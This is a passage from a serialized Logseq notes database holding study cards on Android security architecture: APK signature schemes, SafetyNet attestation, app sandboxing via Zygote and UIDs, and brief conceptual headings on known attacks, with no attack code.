7](https://en.wikipedia.org/wiki/PKCS_7)logseq____",536870916]],[logseq____"^15logseq____",[171,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[171,logseq____"^Flogseq____",149,536870916]],[logseq____"^15logseq____",[171,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[171,logseq____"^Vlogseq____",172,536870916]],[logseq____"^15logseq____",[171,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[171,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[171,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[171,logseq____"^;logseq____",logseq____"~u67b83fac-80fb-4abd-9549-860cf9496e1elogseq____",536870916]],[logseq____"^15logseq____",[172,logseq____"^Qlogseq____",logseq____"~`METZ-INF` contains:logseq____",536870916]],[logseq____"^15logseq____",[172,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[172,logseq____"^Flogseq____",173,536870916]],[logseq____"^15logseq____",[172,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[172,logseq____"^Vlogseq____",154,536870916]],[logseq____"^15logseq____",[172,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[172,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[172,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[172,logseq____"^;logseq____",logseq____"~u67b83fac-53e2-49c8-8ca5-50db3fc406c8logseq____",536870916]],[logseq____"^15logseq____",[173,logseq____"^Qlogseq____",logseq____"Can be created using [`jarsigner`](https://docs.oracle.com/javase/8/docs/technotes/tools/windows/jarsigner.html) or [`apksigner`](https://developer.android.com/tools/apksigner)logseq____",536870916]],[logseq____"^15logseq____",[173,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[173,logseq____"^Flogseq____",154,536870916]],[logseq____"^15logseq____",[173,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[173,logseq____"^Vlogseq____",154,536870916]],[logseq____"^15logseq____",[173,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[173,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[173,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[173,logseq____"^;logseq____",logseq____"~u67b83fac-9328-483c-a4b8-403a38c7b304logseq____",536870916]],[logseq____"^15logseq____",[174,logseq____"^Qlogseq____",logseq____"Should not be used as *stand-alone*, *anti-abuse* or *app-security* mechanismlogseq____",536870916]],[logseq____"^15logseq____",[174,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[174,logseq____"^Flogseq____",156,536870916]],[logseq____"^15logseq____",[174,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[174,logseq____"^Vlogseq____",145,536870916]],[logseq____"^15logseq____",[174,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[174,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[174,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[174,logseq____"^;logseq____",logseq____"~u67b83fac-1983-4940-b323-d4b722feb0f2logseq____",536870916]],[logseq____"^15logseq____",[175,logseq____"^Qlogseq____",logseq____"~`Manifest.mf` and `logseq____<signerlogseq____>.sf` allow for multiple entries with identical namelogseq____",536870916]],[logseq____"^15logseq____",[175,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[175,logseq____"^Flogseq____",147,536870916]],[logseq____"^15logseq____",[175,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[175,logseq____"^Vlogseq____",147,536870916]],[logseq____"^15logseq____",[175,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[175,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[175,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[175,logseq____"^;logseq____",logseq____"~u67b83fac-323a-4dbd-9c2a-bec290285d36logseq____",536870916]],[logseq____"^15logseq____",[176,logseq____"^Qlogseq____",logseq____"### APK Signature Scheme v3logseq____",536870916]],[logseq____"^15logseq____",[176,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[176,logseq____"^Flogseq____",170,536870916]],[logseq____"^15logseq____",[176,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[176,logseq____"^Vlogseq____",160,536870916]],[logseq____"^15logseq____",[176,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[176,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[176,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[176,logseq____"^;logseq____",logseq____"~u67b83fac-6b6d-4481-82c9-ae00c463032elogseq____",536870916]],[logseq____"^15logseq____",[177,logseq____"^Qlogseq____",logseq____"~```mermaid\\nsequenceDiagram\\n box Smartphone\\n participant App\\n participant SafetyNetAPI\\n end\\n \\n box Google Server\\n participant SafetyNetServer\\n end\\n \\n box Developer Server\\n participant AppServer\\n end\\n\\n App-logseq____>logseq____>SafetyNetAPI: 1) Send nonce, platform config, app metadata\\n SafetyNetAPI-logseq____>logseq____>SafetyNetServer: Forward attestation request\\n SafetyNetServer--logseq____>logseq____>SafetyNetAPI: Return signed attestation (S)\\n SafetyNetAPI--logseq____>logseq____>App: Return attestation (S)\\n App-logseq____>logseq____>AppServer: 2) Send attestation (S)\\n AppServer--logseq____>logseq____>AppServer: 3) Verify S (decide device/app trustworthiness)\\n```logseq____",536870916]],[logseq____"^15logseq____",[177,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[177,logseq____"^Flogseq____",174,536870916]],[logseq____"^15logseq____",[177,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[177,logseq____"^Vlogseq____",145,536870916]],[logseq____"^15logseq____",[177,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[177,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[177,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[177,logseq____"^;logseq____",logseq____"~u67b83fac-ba98-463f-8bc6-b1a441e71b4alogseq____",536870916]],[logseq____"^15logseq____",[178,logseq____"^Qlogseq____",logseq____"Android uses different signatures (scheme V1..4) logseq____",536870916]],[logseq____"^15logseq____",[178,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[178,logseq____"^Flogseq____",167,536870916]],[logseq____"^15logseq____",[178,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[178,logseq____"^Vlogseq____",169,536870916]],[logseq____"^15logseq____",[178,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[178,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[178,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[178,logseq____"^;logseq____",logseq____"~u67b83fac-9a7a-4049-95ce-a15e3c1dabd4logseq____",536870916]],[logseq____"^15logseq____",[179,logseq____"^Qlogseq____",logseq____"Android requires all updates to be signed using the same keylogseq____",536870916]],[logseq____"^15logseq____",[179,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[179,logseq____"^Flogseq____",181,536870916]],[logseq____"^15logseq____",[179,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[179,logseq____"^Vlogseq____",170,536870916]],[logseq____"^15logseq____",[179,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[179,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[179,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[179,logseq____"^;logseq____",logseq____"~u67b83fac-4da9-426a-9657-fdbcfe5876f4logseq____",536870916]],[logseq____"^15logseq____",[180,logseq____"^Qlogseq____",logseq____"Added key rotation through additional *proof-of-rotation* in the signing blocklogseq____",536870916]],[logseq____"^15logseq____",[180,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[180,logseq____"^Flogseq____",176,536870916]],[logseq____"^15logseq____",[180,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[180,logseq____"^Vlogseq____",176,536870916]],[logseq____"^15logseq____",[180,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[180,logseq____"^;logseq____",logseq____"~u67b83fac-90b0-4818-bdb3-cc727d0a7d59logseq____",536870916]],[logseq____"^15logseq____",[181,logseq____"^Qlogseq____",logseq____"Use of two-level Merkle hash tree (single digest over hashing each file individually)logseq____",536870916]],[logseq____"^15logseq____",[181,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[181,logseq____"^Flogseq____",148,536870916]],[logseq____"^15logseq____",[181,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[181,logseq____"^Vlogseq____",170,536870916]],[logseq____"^15logseq____",[181,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[181,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[181,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[181,logseq____"^;logseq____",logseq____"~u67b83fac-c325-4d57-8360-6417c64e9739logseq____",536870916]],[logseq____"^15logseq____",[183,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[183,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[183,logseq____"^Ylogseq____",logseq____"sandboxinglogseq____",536870916]],[logseq____"^15logseq____",[183,logseq____"^11logseq____",logseq____"Sandboxinglogseq____",536870916]],[logseq____"^15logseq____",[183,logseq____"^Blogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[183,logseq____"^;logseq____",logseq____"~u67b983c6-f50c-4bdf-a4ba-ced2c0ef4a95logseq____",536873220]],[logseq____"^15logseq____",[184,logseq____"^Qlogseq____",logseq____"~```mermaid\\nflowchart LR\\n subgraph Kernel\\n K[\\logseq____"Linux Kernel (enforces process isolation)\\logseq____"]\\n end\\n\\n subgraph UA[\\logseq____"Process Boundary (UID A)\\logseq____"]\\n direction TB\\n subgraph \\logseq____"Dalvik VM / ART (App 1)\\logseq____"\\n A1[\\logseq____"App Code (classes.dex)\\logseq____"]\\n B1[Core libs]\\n end\\n C1[\\logseq____"Native code (*.so)\\logseq____"]\\n end\\n\\n subgraph UB[\\logseq____"Process Boundary (UID B)\\logseq____"]\\n direction TB\\n subgraph \\logseq____"Dalvik VM / ART (App 2)\\logseq____"\\n A2[\\logseq____"App Code (classes.dex)\\logseq____"]\\n B2[Core libs]\\n end\\n C2[\\logseq____"Native code (*.so)\\logseq____"]\\n end\\n\\n subgraph UC[\\logseq____"Process Boundary (UID C)\\logseq____"]\\n direction TB\\n subgraph \\logseq____"Dalvik VM / ART (App 3)\\logseq____"\\n A3[\\logseq____"App Code (classes.dex)\\logseq____"]\\n B3[Core libs]\\n end\\n C3[\\logseq____"Native code (*.so)\\logseq____"]\\n end\\n A1 logseq____<--logseq____> B1\\n A2 logseq____<--logseq____> B2\\n A3 logseq____<--logseq____> B3\\n A1 logseq____<--logseq____> C1\\n A2 logseq____<--logseq____> C2\\n A3 logseq____<--logseq____> C3\\n K logseq____<-- syscalls --logseq____> UA\\n K logseq____<-- syscalls --logseq____> UB\\n K logseq____<-- syscalls --logseq____> UC\\n\\n```logseq____",536870916]],[logseq____"^15logseq____",[184,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[184,logseq____"^Flogseq____",190,536870916]],[logseq____"^15logseq____",[184,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[184,logseq____"^Vlogseq____",201,536870916]],[logseq____"^15logseq____",[184,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[184,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[184,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[184,logseq____"^;logseq____",logseq____"~u67b83fac-5c7f-4ddb-ae41-c80607256efclogseq____",536870916]],[logseq____"^15logseq____",[185,logseq____"^Qlogseq____",logseq____"Started application executed with root `Zygote`logseq____'s privileges, i.e., rootlogseq____",536870916]],[logseq____"^15logseq____",[185,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[185,logseq____"^Flogseq____",212,536870916]],[logseq____"^15logseq____",[185,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[185,logseq____"^Vlogseq____",196,536870916]],[logseq____"^15logseq____",[185,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[185,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[185,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[185,logseq____"^;logseq____",logseq____"~u67b83fac-0232-4148-aecf-d8061e18c70flogseq____",536870916]],[logseq____"^15logseq____",[186,logseq____"^Qlogseq____",logseq____"Isolating each application in its own sandbox allows for fine-grained *resource management*logseq____",536870916]],[logseq____"^15logseq____",[186,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[186,logseq____"^Flogseq____",201,536870916]],[logseq____"^15logseq____",[186,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[186,logseq____"^Vlogseq____",201,536870916]],[logseq____"^15logseq____",[186,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[186,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[186,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[186,logseq____"^;logseq____",logseq____"~u67b83fac-314f-4e55-9764-bd12ab77e895logseq____",536870916]],[logseq____"^15logseq____",[187,logseq____"^Qlogseq____",logseq____"*internal storage*: write files to ((67b74d96-f668-44e4-83c6-0760487f0281))logseq____",536870916]],[logseq____"^15logseq____",[187,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[187,logseq____"^Flogseq____",205,536870916]],[logseq____"^15logseq____",[187,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[187,logseq____"^Vlogseq____",221,536870916]],[logseq____"^15logseq____",[187,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[187,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[187,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[187,logseq____"^Hlogseq____",217,536870916]],[logseq____"^15logseq____",[187,logseq____"^;logseq____",logseq____"~u67b83fac-448e-4ad0-bcb9-4ad0b9cb41d8logseq____",536870916]],[logseq____"^15logseq____",[188,logseq____"^Qlogseq____",logseq____"~`setUID()`\\nlogseq.order-list-type:: numberlogseq____",536870916]],[logseq____"^15logseq____",[188,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[188,logseq____"^Flogseq____",197,536870916]],[logseq____"^15logseq____",[188,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[188,logseq____"^Vlogseq____",207,536870916]],[logseq____"^15logseq____",[188,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[188,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[188,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"~:logseq.order-list-typelogseq____",logseq____"numberlogseq____"],536870916]],[logseq____"^15logseq____",[188,logseq____"^Jlogseq____",[logseq____"^19logseq____"],536870916]],[logseq____"^15logseq____",[188,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536870916]],[logseq____"^15logseq____",[188,logseq____"^;logseq____",logseq____"~u67b83fac-79d4-441d-a9cc-36d36bf1e6dblogseq____",536870916]],[logseq____"^15logseq____",[189,logseq____"^Qlogseq____",logseq____"Allows for *group forming* and *content sharing* for apps form the same developerlogseq____",536870916]],[logseq____"^15logseq____",[189,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[189,logseq____"^Flogseq____",193,536870916]],[logseq____"^15logseq____",[189,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[189,logseq____"^Vlogseq____",198,536870916]],[logseq____"^15logseq____",[189,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[189,logseq____"^;logseq____",logseq____"~u67b83fac-1516-4498-9437-b668bfd85232logseq____",536870916]],[logseq____"^15logseq____",[190,logseq____"^Qlogseq____",logseq____"Private data folder for each applicationlogseq____",536870916]],[logseq____"^15logseq____",[190,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[190,logseq____"^Flogseq____",216,536870916]],[logseq____"^15logseq____",[190,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[190,logseq____"^Vlogseq____",201,536870916]],[logseq____"^15logseq____",[190,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[190,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[190,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[190,logseq____"^;logseq____",logseq____"~u67b83fac-a0af-4a0b-aa60-0f702744dafelogseq____",536870916]],[logseq____"^15logseq____",[191,logseq____"^Qlogseq____",logseq____"Unique home directory (system services allow access to other parts)logseq____",536870916]],[logseq____"^15logseq____",[191,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[191,logseq____"^Flogseq____",198,536870916]],[logseq____"^15logseq____",[191,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[191,logseq____"^Vlogseq____",198,536870916]],[logseq____"^15logseq____",[191,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[191,logseq____"^;logseq____",logseq____"~u67b83fac-b186-4510-84d5-e9ef8a556188logseq____",536870916]],[logseq____"^15logseq____",[192,logseq____"^Qlogseq____",logseq____"~`Zygote` calls `fork()` (setup DVM/ART)\\nlogseq.order-list-type:: numberlogseq____",536870916]],[logseq____"^15logseq____",[192,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[192,logseq____"^Flogseq____",207,536870916]],[logseq____"^15logseq____",[192,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[192,logseq____"^Vlogseq____",207,536870916]],[logseq____"^15logseq____",[192,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[192,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[192,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536870916]],[logseq____"^15logseq____",[192,logseq____"^Jlogseq____",[logseq____"^19logseq____"],536870916]],[logseq____"^15logseq____",[192,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536870916]],[logseq____"^15logseq____",[192,logseq____"^;logseq____",logseq____"~u67b83fac-79c8-4864-9b56-b736b0f6608flogseq____",536870916]],[logseq____"^15logseq____",[193,logseq____"^Qlogseq____",logseq____"[Principle of Least Privilege]((67b73cc0-6cc9-4099-81fe-fb696e04c2e6)) enforced by *entitlements*(privileges) signing into an applogseq____",536870916]],[logseq____"^15logseq____",[193,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[193,logseq____"^Flogseq____",191,536870916]],[logseq____"^15logseq____",[193,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[193,logseq____"^Vlogseq____",198,536870916]],[logseq____"^15logseq____",[193,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[193,logseq____"^;logseq____",logseq____"~u67b83fac-f295-47f7-8844-215e20282a2dlogseq____",536870916]],[logseq____"^15logseq____",[194,logseq____"^Qlogseq____",logseq____"Additionally, SELinux Mandatory access controllogseq____",536870916]],[logseq____"^15logseq____",[194,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[194,logseq____"^Flogseq____",204,536870916]],[logseq____"^15logseq____",[194,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[194,logseq____"^Vlogseq____",217,536870916]],[logseq____"^15logseq____",[194,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[194,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[194,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[194,logseq____"^;logseq____",logseq____"~u67b83fac-a83d-4cdd-a6cf-b38d34639765logseq____",536870916]],[logseq____"^15logseq____",[195,logseq____"^Qlogseq____",logseq____"~`Zygote` did not check the return value of `setUID`logseq____",536870916]],[logseq____"^15logseq____",[195,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[195,logseq____"^Flogseq____",196,536870916]],[logseq____"^15logseq____",[195,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[195,logseq____"^Vlogseq____",196,536870916]],[logseq____"^15logseq____",[195,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[195,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[195,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[195,logseq____"^;logseq____",logseq____"~u67b83fac-2322-4404-a417-0a15fb211311logseq____",536870916]],[logseq____"^15logseq____",[196,logseq____"^Qlogseq____",logseq____"### Zimperlich root exploitlogseq____",536870916]],[logseq____"^15logseq____",[196,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[196,logseq____"^Flogseq____",199,536870916]],[logseq____"^15logseq____",[196,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[196,logseq____"^Vlogseq____",199,536870916]],[logseq____"^15logseq____",[196,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[196,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[196,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[196,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[196,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[196,logseq____"^;logseq____",logseq____"~u67b83fac-4da8-46ef-938e-6d2a8ea817edlogseq____",536870916]],[logseq____"^15logseq____",[197,logseq____"^Qlogseq____",logseq____"Load APK app code\\nlogseq.order-list-type:: numberlogseq____",536870916]],[logseq____"^15logseq____",[197,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[197,logseq____"^Flogseq____",192,536870916]],[logseq____"^15logseq____",[197,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[197,logseq____"^Vlogseq____",207,536870916]],[logseq____"^15logseq____",[197,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[197,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[197,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536870916]],[logseq____"^15logseq____",[197,logseq____"^Jlogseq____",[logseq____"^19logseq____"],536870916]],[logseq____"^15logseq____",[197,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536870916]],[logseq____"^15logseq____",[197,logseq____"^;logseq____",logseq____"~u67b83fac-34f2-4acc-aaf0-d09c3720dbdblogseq____",536870916]],[logseq____"^15logseq____",[198,logseq____"^Qlogseq____",logseq____"Thrid party apps are sandboxedlogseq____",536870916]],[logseq____"^15logseq____",[198,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[198,logseq____"^Flogseq____",219,536870916]],[logseq____"^15logseq____",[198,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[198,logseq____"^Vlogseq____",219,536870916]],[logseq____"^15logseq____",[198,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[198,logseq____"^;logseq____",logseq____"~u67b83fac-c155-41f9-b32c-d7f30cf4846clogseq____",536870916]],[logseq____"^15logseq____",[199,logseq____"^Qlogseq____",logseq____"## Attacks #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[199,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[199,logseq____"^Flogseq____",221,536870916]],[logseq____"^15logseq____",[199,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[199,logseq____"^Vlogseq____",183,536870916]],[logseq____"^15logseq____",[199,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[199,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[199,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[199,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[199,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[199,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[199,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[199,logseq____"^;logseq____",logseq____"~u67b83fac-1ae0-458e-a59c-5e99097f2f22logseq____",536870916]],[logseq____"^15logseq____",[200,logseq____"^Qlogseq____",logseq____"### Breaking ALSRlogseq____",536870916]],[logseq____"^15logseq____",[200,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[200,logseq____"^Flogseq____",196,536870916]],[logseq____"^15logseq____",[200,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[200,logseq____"^Vlogseq____",199,536870916]],[logseq____"^15logseq____",[200,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[200,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[200,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[200,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[200,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[200,logseq____"^;logseq____",logseq____"~u67b83fac-b866-4262-87ee-39ec4a7bce74logseq____",536870916]],[logseq____"^15logseq____",[201,logseq____"^Qlogseq____",logseq____"## Application Isolation #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[201,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[201,logseq____"^Flogseq____",209,536870916]],[logseq____"^15logseq____",[201,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[201,logseq____"^Vlogseq____",183,536870916]],[logseq____"^15logseq____",[201,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[201,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[201,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[201,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[201,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[201,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[201,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[201,logseq____"^;logseq____",logseq____"~u67b83fac-7d6b-4456-87b1-68e0a902becclogseq____",536870916]],[logseq____"^15logseq____",[202,logseq____"^Qlogseq____",logseq____"*external storage*: no privacy guaranteeslogseq____",536870916]],[logseq____"^15logseq____",[202,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[202,logseq____"^Flogseq____",187,536870916]],[logseq____"^15logseq____",[202,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[202,logseq____"^Vlogseq____",221,536870916]],[logseq____"^15logseq____",[202,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[202,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[202,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[202,logseq____"^;logseq____",logseq____"~u67b83fac-ac6f-486c-9bdf-6d24694cf8e2logseq____",536870916]],[logseq____"^15logseq____",[203,logseq____"^Qlogseq____",logseq____"*extensions* offer functionality to other apps (special-purpose, *separately sandboxed*, *signed* executables)logseq____",536870916]],[logseq____"^15logseq____",[203,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[203,logseq____"^Flogseq____",189,536870916]],[logseq____"^15logseq____",[203,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[203,logseq____"^Vlogseq____",198,536870916]],[logseq____"^15logseq____",[203,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[203,logseq____"^;logseq____",logseq____"~u67b83fac-2aa4-4905-82d3-0c398a5a170alogseq____",536870916]],[logseq____"^15logseq____",[204,logseq____"^Qlogseq____",logseq____"Represented using for numbers (4: `read`, 2: `write`, 1: 